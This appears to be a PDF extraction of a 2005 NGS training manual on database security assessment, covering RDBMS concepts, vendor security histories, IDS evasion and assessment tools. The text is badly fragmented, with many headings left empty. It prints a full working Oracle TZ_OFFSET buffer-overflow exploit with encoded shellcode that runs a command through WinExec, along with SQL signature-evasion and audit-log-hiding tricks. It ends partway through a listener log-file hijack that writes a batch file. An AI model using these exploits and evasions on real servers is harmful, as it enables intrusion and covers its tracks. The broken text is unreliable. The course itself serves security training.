Professional Documents
Culture Documents
Advanced Database
Security Assessment
Specialist 2 Day
Technical Training
Lead Authors
Kev Dunn & Marcus Pinto (NGS)
Contributing Authors
David Litchfield & Chris Anley (NGS)
This training course and related documentation are protected by copyright and distribution under licensing
restricts their use, copy, and distribution. No part of this documentation may be reproduced in any form or by
any means without prior written authorisation of Next Generation Security Software Limited. While every
precaution has been taken in the preparation of this document, Next Generation Security Software Limited
assumes no responsibility for errors or omissions. This document is published with the understanding that
Next Generation Security Software Limited and its authors are supplying information but are not attempting to
render engineering or other professional services.
This document and features herein are subject to change without notice.
Next Generation Security Software Limited
52 Throwley Way, Sutton
Surrey, SM1 4BF
United Kingdom
http://www.ngssoftware.com
Please direct any comments concerning NGS Training courseware to training@ngsconsulting.com
Print Date: 8 July 2005
In addition to the authors listed, the following people have contributed to this training course material:
Contents
Contents
MySQL Databases.......................................................................................... 22
Security History.......................................................................................................................23
II
Contents
III
Contents
IV
Contents
Contents
VI
Contents
VII
Course Introduction
Course Introduction
Course Abstract
As professional consultants and security researchers, NGS have developed a deep
specialist knowledge together with high levels of experience of real-world database
solutions. Often, a significant difference exists between textbook database deployments
and implementations that work well in specific networks. In the same way, security and
the hardening of databases has to walk the difficult line between an impenetrable system
and the database functionality required.
Database Security Assessment reveals the security posture of a database system from
the potential attackers perspective rather than from the classic administrator view. It is
the goal of this course to build a Database Assessment Methodology based upon the
techniques and tools used by NGS in real world situations.
Course Objectives
Upon completion of this course, delegates should be able to understand:
Training Objectives
Objectives
By the end of this course, delegates should be able to implement:
Notes
Course Introduction
Course Instructors
The course instructors will introduce themselves covering the following criteria:
Name
General IT Experience
Security Experience
Life Experience
Course Delegates
You are invited to introduce yourself to your course instructors and fellow delegates using
the following criteria:
Name
General IT Experience
Security Experience
Life Experience
Notes
Course Introduction
Course Schedule
Your instructor will cover the general schedule for this course with as much flexibility as
possible. If you require extra explanation of specific aspects, alert your instructor as soon
as possible. It may be possible to devote extra time to topics that interest you the most or
that you are having difficulty understanding.
Notes
Module Overview
This course module consists of the following topics:
Notes
The Flat File model is sufficient for simple data sets, such as a staff telephone directory, or
temporary files and configuration files created by software applications. Information is easy
to update, as the file is generally human-readable and is possible to edit directly on the file
system.
The database should offload the clients workload as far as possible, providing
common tasks in the form of stored procedures and/or views.
Databases should audit their own use (user and client actions) to allow tracing of
client actions
Within these confines, there are underlying requirements which all of the RDBMS systems
fulfil:
Notes
Unicode Compliance: the database should follow Unicode, the most widely used
character set on the Internet.
Some Definitions
A Flat File Database contains data in a file which is either fixed width or delimited using a
special character (commonly a tab or comma). Access to and manipulation of the
database is through direct manipulation of the file. The most structured example of todays
flat file database is XML, although many may argue that this is already too structured to be
considered a flat file database. XML is not a flat file database because the parser is
holding the data in (multi-dimensional) arrays similar to a database.
A database server is a distinct process that accepts a client request, and provides the
output matching that request only. Clients must connect to the database and retrieve the
information using a supported language (e.g. SQL). This is an important distinction.
Access is not a database server, but it is definitely a relational database.
A relational database consists of relations. The output of all operations such as queries,
stored procedures or functions is in the form of tables or scalars. This tabular output can
be used to create relationships between tables. Clearly, to take advantage of the different
tables within the same database, these tables will contain related data. A table containing
purchases may need to be matched to customer addresses, and a combination of both
sets of information stored in a shipping table. Non-relational databases such as Excel
spreadsheets and database files do not segregate information into tables this is the work
of a relational database.
An RDBMS is both a relational database and a database server. The first full commercial
RDBMS to market was Oracle in 1979. Since then many RDBMS solutions have been
produced to cope with the requirements of e-commerce and company information
management systems.
Notes
The RDBMS must use its relational capabilities exclusively to manage the
database.
Within the rules, Codd also proposed a language to perform the manipulation, which is
now SQL.
One way of highlighting the benefits of an RDBMS is to look at the shortcomings of other
systems described in the previous section, as they have been described in terms of their
weakness. The advantages are described here:
Relational Systems can generally hold very large data sets, and are optimised to
support multiple concurrent connections and requests.
Organisation of data into tables is intuitive. The use of tables to store data
predates the database, and as a database is designed to manage a particular set
of information such as an e-commerce site or finance system, it is logical to also
provide an easy mechanism by which tables can be compared and related. The
RDBMS was conceived from set theory. (Limited by 2-dimensional representation
on a computer screen).
Notes
Built-in procedures, views and functions are often defined to aid the client in
managing data by providing short cuts to common tasks and requests, or by
automating common activities.
The ability to back up and roll back changes made to the database. The database
needs to provide an audit trail and allow changes to be rolled back.
RDBMS solutions have evolved over the last 30 years to become (from the perspective of
the information held) the single most important assets on a network. Databases are the
only practical method of holding the information in our lives today, as evidenced by the
ubiquity of their deployment. According to IDC research for 2004, the worldwide market for
RDBMS is now well over $15 billion.
Notes
A Desktop Database
Desktop databases allow small systems and developers similar functionality to enterprise
databases at a lower cost. As they are designed for personal use, they will typically be
missing functionality such as support for multiple concurrent operations, large volumes of
traffic, multiple users or security features. For this reason, they are often used on the local
machine by software applications or as a personal database by end users. Example: ISS
Security Scanner
There are many other uses, some of which implement a mixture of the above, and some
others designed around the same architecture but with different goals to the ones stated
Notes
above. For the moment, this outline will suffice in providing the motivation for this course:
why database security is important.
Database deployments range from the Land Registrys DB2 database at 18 Terabytes to a
Sybase ASA Anywhere RDBMS installation created by NGS which could run with only 4
files, (the core executable and three DLLs) totalling around 6MB. However, in considering
RDBMS, we will concentrate on unauthenticated access over the network and on querylevel access, as this covers the primary security concerns for most common uses and
configurations.
Notes
10
Authentication
Authentication to an RDBMS is generally over a network. At the time of writing, only one
major database, PostgresSQL, does not listen on the network by default, although that will
change with the release of Yukon. Most enterprise databases allow a wide range of
authentication options including Kerberos, DCE, and authentication to the host operating
system. Some databases like DB2 and Informix use operating system authentication
exclusively. A common feature is that with a few exceptions, native authentication
mechanisms developed in databases have proved to be vulnerable to numerous preauthentication attacks, and many perform the authentication in clear text by default.
Tables
Simply put, tables ('relations') are the core element of an RDBMS. Tables store all of the
data the database was designed to hold, as well as system tables, which hold the
configuration, users, stored procedures and permissions for the database. It is a
convenient short cut to have the two very differing types of information stored in the same
Notes
11
way, as it allows user data to be managed using the same tools as the database tools
(primarily through interactive SQL queries or stored procedures).
Database Instances
An RDBMS may be comprised of several database instances. The key characteristic of a
system comprised of multiple instances is that the instances are separated in memory
(services and background processes) although they share the same disk resources.
Functions
Database functions are generally provided as an extension to the SQL dialect
implemented by the vendor. Typically, these provide mathematical operations, however
most RDBMSs also include their own functions, providing various maintenance and data
conversion functions. In some databases, the built-in functions can provide extensive
functionality, such as the ability to open and read a file from disk (for example load_file in
mysql),
Stored Procedures
All of the databases covered by this course implement stored procedures. Although a
stored procedure is simply an SQL script they form an important part of the security model
due to the difference in user permissions and those of the stored procedure; SPs in
Sybase Adaptive Server Anywhere have more privileges than standard users, and allow
privilege elevation attacks. Security may also be imposed through stored procedures (see
views below) in which case the stored procedure will have more access to the database
than the user executing it. Extended stored procedures allow access to powerful libraries
which can provide interaction with the OS.
Notes
12
Views
A database view is no more than a query, which does the work of filtering data from tables
for the user. This may be done for the users convenience or as a security feature to
provide row-level or even field-level security.
Triggers
A trigger is analogous to a stored procedure, differing solely in the method of invocation.
Triggers are designed to be executed automatically on alteration of data (INSERT,
UPDATE or DELETE) and follow other cleanup actions or alerts, ensure the database is
compliant with more complex business logic, or modify data in a second database.
Depending on the database software, the trigger may be executed by the creator, or by
another user entirely (e.g. Oracle).
Network Integration
To be useful in a client-server environment, some level of network interaction is required of
a database. The database will listen for incoming connections on a port, handling
authentication and traffic often through its own protocol (e.g. TNS for oracle, TDS for
MSSQL/Sybase). Once authenticated, the user will be able to run queries over the
network, using a variety of APIs such as ODBC.
Notes
13
A database will typically support many other forms of network communication, such as
other forms of authentication, Enterprise Management, SNMP, SSL encryption, interdatabase connection and other proprietary services. Oracle, for example, listens on a
variety of
ports, as
can be seen from
the port assignments
at
http://www.iana.org/assignments/port-numbers (bear in mind that Oracle also listens on a
number of ports not officially registered by Oracle).
Notes
14
Module Summary
The fundamental requirements for an RDBMS have been discussed in this module and
are summarised here:
Integration with other elements on the network, supporting client access through
programming APIs.
Notes
15
Module Overview
This course module consists of the following topics:
MySQL Databases
Notes
16
Product History
The history of Microsoft SQL server products is summarised here:
Aside from the TDS protocol, MSSQL server has another unique feature (although also
shared with Sybase) in Transact SQL, which extends the functionality of SQL with
elements of procedural programming languages.
Microsofts decision to support only Windows platforms has given it a niche as the
database of choice for windows platforms, with about 80% of the market share, and 13%
of the overall market share, according to IDC figures. The Desktop Engine, MSDE (now
SQL Server Express) is even more widely deployed and is bundled with products such as
Visual Studio. Its ubiquity was made evident by the devastating speed with which Slammer
propagated over the Internet.
Notes
17
Security History
The MSSQL server 2000 security history is one of the most interesting:
2005: 1 advisory containing multiple high risk issues, found internally by Microsoft.
2002: 15 patches, many high risk, a flaw in the resolution service (soon to be
exploited by the Slammer worm)
As illustrated above, Microsoft SQL server either received a lot of attention a couple of
years ago, or the security profile has changed significantly since service pack 4. The 1
advisory released by Microsoft in 2005 suggests the latter is mainly responsible.
Microsofts plan for Yukon is to drastically reduce the attack surface and include further
built-in security features.
Notes
18
Product History
A brief history of Oracle:
In 1983, RSI was renamed Oracle Corporation to more closely align itself with its
flagship product. Oracle version 3, which had been re-written in the C
Programming Language, was released and supported commit and rollback
transaction functionalities. Platform support was extended to UNIX with this
version, which until then had run on Digital VAX/VMS systems.
Starting in 1985, Oracle began supporting the Client-Server model, with networks
becoming available in the mid 80s. Oracle version 5.0 supported distributed
querying.
In 1988, Oracle entered the products market and developed its ERP product Oracle Financials based on the Oracle Relational Database. Oracle version 6 was
released with support for PL/SQL, row-level locking and hot backups.
In 1992, Oracle version 7 was released with support for integrity constraints,
stored procedures and triggers.
In 1999, Oracle 8i was released which was more in tune with the needs of the
Internet (The i in the name stands for "Internet"). The database has a native Java
Virtual Machine.
In 2001, Oracle 9i was released with 400 new features including the facility to read
and write XML documents. 9i also provided an option for Oracle RAC, or Real
Notes
19
In 2003, Oracle 10g was released. The g stands for "Grid"; one of the sales points
of 10g is that it's "grid computing ready".
Source Wikipedia
Oracle is one of the largest and most complex of the RDBMSs available, and supports the
largest number of platforms including Windows Servers, HP-UX, AIX, Solaris, Linux and
even Mac OSX. A wide range of client connection options helps the programmer to deploy
Oracle easily within their network.
Oracles adaptation of SQL is PL/SQL, which contains several proprietary functions but is
otherwise very similar to Transact-SQL in that it provides a rich set of procedural
extensions to SQL. Oracle DBAs also have Java, a full-blown programming language, at
their disposal.
Oracle was the first of the RDBMS systems to run on Linux, and is most commonly seen
installed on *nix hosts. Oracles market dominance ws founded on its functionality and
flexibility, it gained ground during the .com boom and continues to strongly due to the
increasing uptake of J2EE in vertical market areas. Oracles share of the RDBMS market
is estimated at 41% by the IDC.
Security History
2005: 12 advisories allowing root privileges from a standard user account. (NGS
has 30 more vulnerabilities pending release for 10g)
Quantifying the number of vulnerabilities in Oracle is a fairly subjective matter. Oracle lists
68 Alerts on their website. However, the August patch in 2004 fixed 120 issues alone. In
total, there have been hundreds of vulnerabilities, many very closely inter-related.
Oracle products went by relatively un-researched until the late 90s, when Oracle started
orienting products for e-commerce on the Internet. At this stage they started gaining the
Notes
20
attention of hackers and researchers, particularly with their Internet-facing products such
as Oracle Application Server.
One explanation for the number of vulnerabilities in Oracle products (which have
addressed some key issues in 10g) is the sheer amount of functionality available.
Notes
21
MySQL Databases
Development of MySQL began in 1994 at the early stages of the RDBMS market. The
earliest release was MySQL 1.0 on May 1995, when the dominant databases were Oracle,
Sybase and Informix. Since then it has been making quiet ground on the full-blown
commercial databases, and will soon be a seriously viable alternative for many
companies. The commercial license of MySQL provides a support contract, and licenses
the user to include a MySQL database within a black box product unlike the terms and
conditions of the GPL.
The most prolific use of MySQL is as a backend database to a web application, and many
PHP/Apache systems and open source applications such as Snort provide easy
integration with a MySQL database. However, MySQL can be found in numerous
environments and configurations, from high performance sites such as PokerRoom.com,
critical systems such as US missile test systems, and embedded systems (Motorola
handheld devices). Lycos, Yahoo and Sony are some other well-known names who have
moved to MySQL from the large RDBMS systems.
MySQL runs on a large number of Operating System platforms; it is worth taking a
moment to look at the list of available binaries listed on the website:
AIX
BSDi,
FreeBSD,
HP-UX
Linux,
Mac OS X
NetBSD
Netware
OpenBSD
OS/2 Warp
QNX,
Dec OSF
SGI IRIX
Solaris
SunOS
SCO OpenServer
SCO UnixWare
Tru64
Notes
22
Windows 95
Windows 98
Windows NT
Windows 2000
Windows XP
OpenVMS
Of course, as it is open source, enterprising users can always build it on other platforms.
MySQL 5.0 will move MySQL closer to the features found on an Enterprise RDBMS by
adding support for Views, Triggers, Stored Procedures, speed enhancements, and better
standards compliance.
In spite of the limited feature set found in MySQL it has still been the target of several high
risk vulnerabilities. As MySQL moves into the RDBMS market, it is logical to include it in
this course.
Security History
2003: 11 vulnerabilities
2002: 5 vulnerabilities
2000-2001: 6 vulnerabilities
Notes
23
Security History
This is attributed to the low profile of DB2 deep in the network. Many researchers
are more interested in databases which are accessible from the Internet. From NGS
initial research it is clear that there certainly are vulnerabilities in DB2.
Notes
24
Security History
Sybase ASE has not attracted the attentions of the security community, which can
be attributed to its very low market share in the enterprise.
During NGS assessment of Sybase ASA for a private research project, around 30
vulnerabilities were found. Clearly ASA had received even less exposure to the
security community (or less successful research). However, it was clear from the
assessment that Sybase has not addressed ASA security nearly as completely as
ASE..
Notes
25
Module Summary
According to research done by the IDC, Oracle databases currently hold 41% of the
database market, followed by a 30% share for IBM's DB2 and a 13% share for Microsoft's
SQL Server. Sybase comes fourth with a market share of 3%.
All databases discussed have had very disparate security histories. This is attributed to
their differing market shares and position within networks; the security community has
focussed on Microsofts SQL server (probably due to its marketing position) and Oracle
(due to its market share). DB2, meanwhile, has been largely overlooked, as it generally
exists deep within IBM-centric corporate networks to which the security community has not
been exposed.
Notes
26
Module Abstract
The integration of a database into a network can affect the process of database security
assessment or taint the results and overall outcome. Considerations made during the
installation of the Operating System and database product can provide a more secure
platform for deployment. Application and usability requirements will affect the choice of
connectivity and communication endpoints used by a database and in turn affect the
choice of assessment techniques.
This module describes the integration decisions faced by system architects and database
administrators, outlining areas that can affect the process of database security
assessment.
Module Overview
This course module consists of the following topics:
Notes
27
Object-Relational Technology
Oracle, Sybase and DB2 support object-relational technology as well as Java (with Virtual
Machines built into the database). This allows programming to take place within the
database; this may be essential to apply fundamental logic that automatically affects all
applications using the database, making the above layers easier to alter and more
business-independent. Microsoft will support CLR for SQL Server 2005, the familiar
Microsoft .NET answer to Java.
Environment
The major database vendors all provide corresponding products for integration with the
database. DB2 underpins most of the IBM products such as IBM-MQ, Tivoli and
Websphere. From experience, DB2 is seen deployed almost exclusively in conjunction
with other IBM products.
Oracle is most commonly seen installed on a UNIX platform, generally Red Hat Linux or
Solaris. Oracle installations are usually in very demanding environments (high availability,
functionality and configurability demands), and e-commerce systems implementing Oracle
Application Server are increasingly common over the past few years.
Microsoft SQL Server as already mentioned is the .Net / ASP answer to J2EE, and is
found in e-commerce solutions and windows domains.
Notes
28
Low-budget installations using Linux, Apache / PHP generally use MySQL due to its price,
system requirements and simple installation and setup.
Although all the vendors develop for mobile platforms, Sybase ASA is the choice database
for mobile platforms. Sybase ASE seems to be in use in many of the older client-server
models found internally in companies and also has a strong following on Wall Street.
Overall Functionality
MySQL has only a fraction of the features found in enterprise databases, and is still
emerging from the 10-year-old model of databases as a passive container for data. This
makes it suitable for simple environments such as a simple web application or desktop
database, but inappropriate for multi-tiered environments and complex data management
rules, where the database has to implement business logic, import and export data, and
provide other functions and services in the environment.
Security Relevance
What does this have to do with security?
The pattern of security vulnerabilities in all of these databases makes an interesting
comparison. The decision to explore database security was made relatively recently, with
major advances in security made after the e-commerce revolution. In gauging the security
of a product, a prospective buyer should consider the following points:
Notes
29
They may be key resources, but market share and importance are not measures
of a products popularity with the security community. (This is starting to change
as the number of vulnerabilities found in major products is drying up)
Has the product been researched by the security community? Are there many
historical security bugs?
Many products are formally reviewed. Generally, this does not give an indication
of security. A good case in point is Sybase. Sybase is evaluated to level 4 of the
Common Criteria standard, which is viewed as secure enough for deployment in
UK Government networks. About 2 years ago, Sybase products had been
unaffected by publicised security flaws. This seems to count in its favour, but the
truth lies in its low popularity as a target; research on Sybase ASA and Sybase
ASE revealed the usual cross-section of flaws found in other databases.
Notes
30
Windows Platforms
Unix Platforms
The database user should not have restricted access however it may be
necessary to review the file system and remove further privileges if non-default
files are present on the system.
A key requirement for both which is often overlooked is data import and export. The file
permissions on XML documents are crucial to stop unauthorised modification, yet these
are often not considered. OS hardening should include permissions checks on all external
resources the database will access.
Notes
31
Notes
32
SNMP-based management
Database links
Web services (e.g. Oracle queries for XML data port, 8080 / 2100)
Databases are often the most critical systems on a network these considerations will be
relevant during the rest of the course and in exploiting vulnerabilities. The amount of
external access required for a database should be reviewed from the installation. Oracle,
for example, may listen on any of 24 ports depending on the installation options selected;
if XML queries are not needed, then port 2100 (queries over FTP) and 8080 (queries over
HTTP) should not be listening. If SNMP is not used, the corresponding ports (DBSNMP
may use various ones) should not be open.
The most common connectivity required internally is as the server for the data housed; this
will require allowing clients to connect directly to the port and run queries. For Internet
services, the database will communicate with the application server, and internal systems
for data management (e.g. live feeds, XML updates).
External requirements are not limited to the network and could be stretched to include
communication with the host operating system. Examples are authentication and file
access, for example querying, importing and exporting XML files, or providing web
services.
Notes
33
Filtered access to specific groups for the database and database ports.
Intrusion Detection
IDS may be a useful addition to the security of the database. As always with an IDS, the
deployment must be mindful of its limitations.
An IDS is signature-based, requiring an exact match for its signature. The signature
cannot be too generic without bringing up false positives.
An IDS cannot handle large volumes of traffic without dropping packets
If the deployment is network-based, encrypted traffic cannot be analysed.
Notes
34
The SQL syntax is flexible and loosely defined, with many equivalent formats
Databases contain many string manipulation functions, which may affect the
format of data.
As an example, assume user Kevin should only be able to see his own salary. This may
be visible through a web application, a thick client app or a database view. What hed like
to do is execute the following statement, preferably without tripping an IDS or audit log:
Select name,salary from finances where name = Marcus
This is equivalent to:
sEleCt naMe,saLary frOm FiNaNcEs where nAmE = Marcus
This is not particularly well hidden and most checks should pick it up. The attacker could
try spacing it over a multi-line query if the situation allows:
select name, salary from finances
where -- name = 'Kevin
name = 'Marcus'
or if the user can enter a LIKE statement, they could try:
select * from finances where name LIKE '%M%a%%%%r%c%u%s%'
select * from finances where name LIKE '%Marcu%'
A much more interesting method would be to use c-style comments, which can be entered
anywhere in the white spaces (or anywhere for MySQL, e.g. sel/*aaa*/ect):
Select/**/name,salary/*aaa*/from/*aaa*/finances/*aaa*/where/*aaa*/n
ame = 'Marcus'
or even hide the name of the employee, using Oracles concatenator || for example)
Select/**/name,salary/*aaa*/from/*aaa*/finances/*aaa*/where/*aaa*/n
ame = 'Mar||/*aaa*/cus'
Notes
35
(This would also allow users to bypass signatures looking for banned functions such as
xp_ etc.)
Databases contain many of their own functions for string manipulation. Oracle, for
example, has CHR(), REVERSE, TRANSLATE, REPLACE, SUBSTR and more. So in
Oracle, users could run:
SELECT * from finances where name = REVERSE('sucraM')
SELECT * from finances where name = (chr(77) || chr(97) || chr(114)
|| chr(99) || chr(117) || chr(115))
This would make detecting an exploit string virtually impossible, particularly if the attacker
were using a combination of the above. Oracles CHR() allows multiple representations of
each character, so chr(65), chr(321), chr(577), chr(4294967105) all equal A.
As an illustration of the difficulty in using signature-based detection, the following is a
working exploit for the TZ_OFFSET overflow in Oracle. This will cause an Oracle server
running under Windows to use the 'WinExec' API to execute a 'ping' command:
Select
TZ_OFFSET(rpad(chr(144),156,chr(144))||''||chr(235)||chr(3)||'Z'||c
hr(235)||chr(30)||chr(232)||chr(248)||chr(255)||chr(255)||chr(255)|
|chr(187)||'3UG'||chr(1)||chr(129)||chr(235)||chr(1)||chr(1)||chr(1
)||chr(1)||chr(139)||chr(11)||chr(187)||'\'||chr(224)||chr(25)||chr
(16)||chr(139)||chr(27)||'PQ'||chr(255)||chr(211)||chr(195)||'RX3'|
|chr(219)||chr(131)||chr(192)||'gPPPPPP'||chr(131)||chr(192)||chr(7
)||chr(136)||chr(24)||chr(131)||chr(192)||chr(17)||chr(136)||chr(24
)||chr(131)||chr(192)||chr(16)||chr(136)||chr(24)||chr(131)||chr(19
2)||chr(22)||chr(136)||chr(24)||'X'||chr(232)||chr(192)||chr(255)||
chr(255)||chr(255)||'['||chr(131)||chr(195)||')S'||chr(255)||chr(20
8)||'X'||chr(131)||chr(192)||chr(8)||chr(232)||chr(176)||chr(255)||
chr(255)||chr(255)||chr(255)||chr(208)||'PZXR'||chr(131)||chr(192)|
|chr(25)||'P'||chr(232)||chr(161)||chr(255)||chr(255)||chr(255)||'Z
Z3'||chr(219)||'SR'||chr(255)||chr(208)||'WinExecZGetCurrentThreadZ
TerminateThreadZcmd'||chr(9)||'/c'||chr(9)||'ping'||chr(9)||'192.16
8.1.4Z'||rpad(chr(204),83,chr(204))||chr(131)||chr(235)||chr(100)||
chr(131)||chr(235)||chr(100)||chr(131)||chr(235)||chr(100)||chr(131
)||chr(235)||chr(83)||chr(131)||chr(235)||chr(33)||chr(255)||chr(22
7)||chr(235)||chr(239)||chr(235)||chr(237)||chr(243)||chr(6)||chr(8
5)||chr(96))
from dual;
(Additional information on this vulnerability may be found at
http://www.ngssoftware.com/advisories/ora-tzofstbo.txt)
Notes
36
In SQL server, the statement exec will accept hexadecimal encoding, so this would
perform the same select name,salary from finances where name = Marcus:
declare @q varchar(8000)
select @q =
0x73656c656374206e616d652c73616c6172792066726f6d2066696e616e636573
exec(@q)
In Oracle, the same effect could be achieved using EXECUTE IMMEDIATE:
declare
l_cnt
varchar2(20);
begin
execute immediate 'sel'||'ect pas'||'sword'||' from dba'||'_users
where user'||'_id =0'
into l_cnt;
dbms_output.put_line(l_cnt);
end;
While there are clearly many methods of representing the same query, one more
interesting example, which affects MS-SQL Servers audit log, is sp_password. SQL
server protects users passwords by erasing use of sp_password from its log files, and
instead logging:
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security
reasons.
The problem is SQL server only looks for the occurrence of the string, not the context. This
means that the following works:
select * from finances where name = Marcus --sp_password
Ultimately, this should show that IDS (or IPS) should be tightly integrated with the
database, as the most reliable way of detecting the intrusion is through a database error.
As in any network situation, the presence of an IDS is a useful addition to security, not a
primary defence mechanism.
Notes
37
Module Summary
This module covers common considerations and requirements for databases in a business
network. As databases move into the category of network Swiss Army Knife, more and
more functionality is available. A brief discussion follows on the security implications of this
new functionality, and how database vendors have fared historically. Technical elements
are touched upon with firewall and IDS considerations.
Notes
38
Module Abstract
Like any job we can approach database assessment unprepared and without the right
tools but we will generally not expect to achieve very much. Some aspects of database
assessment require only the regular tools and utilities used by network hackers the world
over. However, in many cases, it pays to have specific resources to achieve our goals
and in some circumstances, specific drivers or utilities are mandatory for connection to a
database system. Database enumeration and vulnerability assessment tools have been
developed within the commercial and open source / freeware sectors to enhance database
assessment productivity.
This module will outline key utilities to build an effective database assessment toolkit and
provide insightful powerful techniques that can save time and effort along the way.
Module Overview
This course module consists of the following topics:
Notes
39
Using Nessus
Nessus is the security professionals free tool of choice (http://www.nessus.org) and can
find thousands of publicly known vulnerabilities relatively quickly. It runs on UNIX based
platforms in a client-server mode, which permits either normal host to host scanning or a
distributed network scanning option. It is an open source product and as such vulnerability
plug-ins are developed and supported within the security community as a whole. In spite
of this, the tool is kept up-to-date by dedicated supporters and should form part of any
security assessors toolkit. A quick search of the Nessus plug-ins shows that it contains
vulnerability checks for each of the databases under study in this course:
MS SQL Server
Sybase Databases
Notes
40
Oracle Databases
Notes
41
MySQL Databases
Notes
42
Notes
43
Notes
44
Notes
45
For detailed database assessment NGS recommend their NGS Squirrel database suite to
fully assess Oracle, MS SQL, Sybase and IBM DB2.
Notes
46
OraclePWGuess - A dictionary attack tool that can be utilised with user supplied
dictionaries or with the built in support for finding default accounts. This tool will
effectively determine if default user names and passwords are in use.
OracleQuery A command line SQL query tool for Oracle that performs in a
similar fashion to Oracles own SQL Plus.
OAT either uses CREATE LIBRARY to be able to access the WinExec function in the
kernel32.dll on Microsoft Windows platforms or the SYSTEM call in libc on UNIX based
systems. Having access to these resources makes it possible to execute any command
against the server in the ways described. Finding a default password for a default account
that has the CREATE LIBRARY privilege will permit this operation during assessment.
Notes
47
Oracle Getsids
The Oracle SID enumeration tool from cqure.net simply queries the TNS Listener and
extracts the database SIDs from the produced output. This can be an extremely fast way
of determining the database SIDs from an Oracle installation.
Oracle TNScmd.pl
This small Perl script available from http://www.jammed.com/~jwa/hacks/security/tnscmd/
is able to query the Oracle TNS Listener providing that a Listener password has not been
set and that Admin Restrictions have not been applied. This is the default Listener
condition and is rarely changed. By issuing commands such as version and services it is
possible to enumerate sensitive data regarding the Oracle installation.
Notes
48
Oracle Oscanner
Oracle Security Scanner, or Oscanner (http://www.cqure.net) is a Java based tool for
assessing basic security options within Oracle. It is a newer incarnation or improvement
on the OAT packages. It can check for the following items amongst others:
Password Audit
Version Enumeration
Notes
49
SQLRecon
SQLRecon (http://www.sqlsecurity.com) performs scans of the local network in order to
identify all of the Microsoft SQL Server/MSDE installations in the enterprise.
Due to the proliferation of personal firewalls, inconsistent network library configurations,
and multiple-instance support, SQL Server installations are becoming increasingly difficult
to discover, assess, and maintain. SQLRecon is designed to remedy this problem by
combining all known means of SQL Server/MSDE discovery into a single tool.
SQLPing / SQLPing2
SQLPing / SQLPing2 (http://www.sqlsecurity.com) has historically been a favourite
amongst network assessors for finding Microsoft SQL Servers. SQLPing2 is GUI Version
of SQLPing and includes IP range scanning and brute forcing password checking. It is
possible to query the broadcast address of a network and determine network SQL Servers
with ease.
Registry Read Reading sensitive information from the Windows Registry of the
hosting server system.
Notes
50
Windows Password Dump Facility for using pwdump to obtain the host server
password hashes from the SAM.
In the cases where the Extended Stored Procedure xp_cmdshell has been removed from
the installation, SQLAT can restore this powerful resource if the related DLL (xplog.dll) is
still present upon the system.
Notes
51
Metacoretex Scanner
MetaCoretex is a freely available database vulnerability scanning framework
(http://www.metacoretex.com). It is written entirely in Java and provides probe generators
to make writing custom probes / plug-ins a fairly simple task. Currently it supports MySQL,
Microsoft SQL Server, Oracle and has checks for JDBC configuration options.
Notes
52
Notes
53
NGS Squirrel for Oracle can also perform comprehensive password audits against Oracle
user accounts to locate weak credentials.
Notes
54
NGS Squirrel for Microsoft SQL Server works in partnership with NGSSQLCrack to
perform password audits against SQL Server credentials to locate and identify weak
areas.
Notes
55
Notes
56
Notes
57
Notes
58
Notes
59
This application is very similar to the SQL Query Analyser shipped with Microsoft SQL
Server installations.
Notes
60
Notes
61
Notes
62
Notes
63
Why Bother?
The use of offline or local test servers during assessment is often overlooked, however, at
NGS we actively use local servers running local copies of the products or targets we are
assessing. This works especially well when dealing with database assessment. The
target of assessment is often located remotely from the assessor and so having a visual
grasp of the environment at hand during assessment can help in targeting attacks and
reducing guesswork. In the case of live test environments, the assessor may wish to try
potentially dangerous assessment techniques against a local test copy of the database
before seeking active verification against the live target.
Notes
64
Module Summary
In this module we have seen the types of tools and resources that should be selected to
provide a good database assessment toolkit. This module has been by no means
exhaustive but rather represents key applications and tools that should be considered.
The following areas have been discussed during this module:
Tools that have been created to enumerate information from weak and default
database installations.
Client drivers and utilities that are essential for querying vendor database
installations.
Notes
65
Module Abstract
Finding database flaws and exploiting vulnerabilities is not possible without first locating a
likely target and gathering simple data from the database instance. Whilst it is true that
enumeration of data and potential vulnerabilities is easier with credentials, it is often
revealing to discover what an unauthenticated attacker can unearth. Most database
systems have methods for enumerating sensitive host and database information without
the need for credentials, or indeed ways of discovering valid credentials for an attacker to
use to progress further into the database.
This module will demonstrate the tools and techniques used to discover databases within
a network environment and enumerate sensitive information to further progress an attack.
Module Overview
This course module consists of the following topics:
Notes
66
Notes
67
Notes
68
Under certain cases, Amap may not be able to identify the listening service; this is
generally due to a proprietary protocol where a signature is not known by the tool. Manual
protocol Fuzzing techniques can be applied to determine service details; however, this will
not be required when looking for common industry databases within a host or network.
Note that Amap has confirmed that the Oracle TNS Listener in this case is running on the
default port of TCP 1521.
Notes
69
When using the Listener Control Utility the first command to issue, is to set the current
listener to work with the database, as follows:
LSNRCTL> set current_listener to <server IP>
Issuing the help command to the Control Utility will yield the following options:
start
stop
status
services
version
Notes
70
reload
save_config
trace
change_password
quit
exit
set*
show*
In this case, by submitting the version command the following output is produced (edited
for clarity):
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC1)))
TNSLSNR for 32-bit Windows:
Version 9.2.0.1.0 - Production
TNS for 32-bit Windows: Version 9.2.0.1.0 - Production
Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows:
Version 9.2.0.1.0 Production
Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows:
Version 9.2.0.1.0 Production.
The command completed successfully
From the information returned we can see that the server is Microsoft Windows based and
reports a database version of 9.2.0.1.0. This simple information can allow us research
current known vulnerabilities that may affect this installation and formulate further
assessment options. For a malicious attacker this kind of detail may be enough to launch
a serious attack against the server.
Submitting the services command produces the following output (edited for clarity):
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC1)))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s)
Handler(s):
"DEDICATED" established:0 refused:0
LOCAL SERVER
Service "training.wargames" has 2 instance(s).
Instance "training", status UNKNOWN, has 1 handler(s)
Handler(s):
"DEDICATED" established:0 refused:0
LOCAL SERVER
Instance "training", status READY, has 1 handler(s)
Handler(s):
"DEDICATED" established:0 refused:0 state:ready
LOCAL SERVER
Notes
71
Notes
72
Notes
73
In this case, the log file directory is changed to the root of c:\ on a Windows database
server. In a similar fashion it is possible to specify the log file name:
(CONNECT_DATA=(CMD=log_file)(ARGUMENTS=4)(VALUE=test.bat))
At this point, anything specified by the user that will create and error will be logged into the
file c:\test.bat. So by specifying the following commands to the Listener Control Utility the
following error message is written to screen and to file:
Typed by the user.
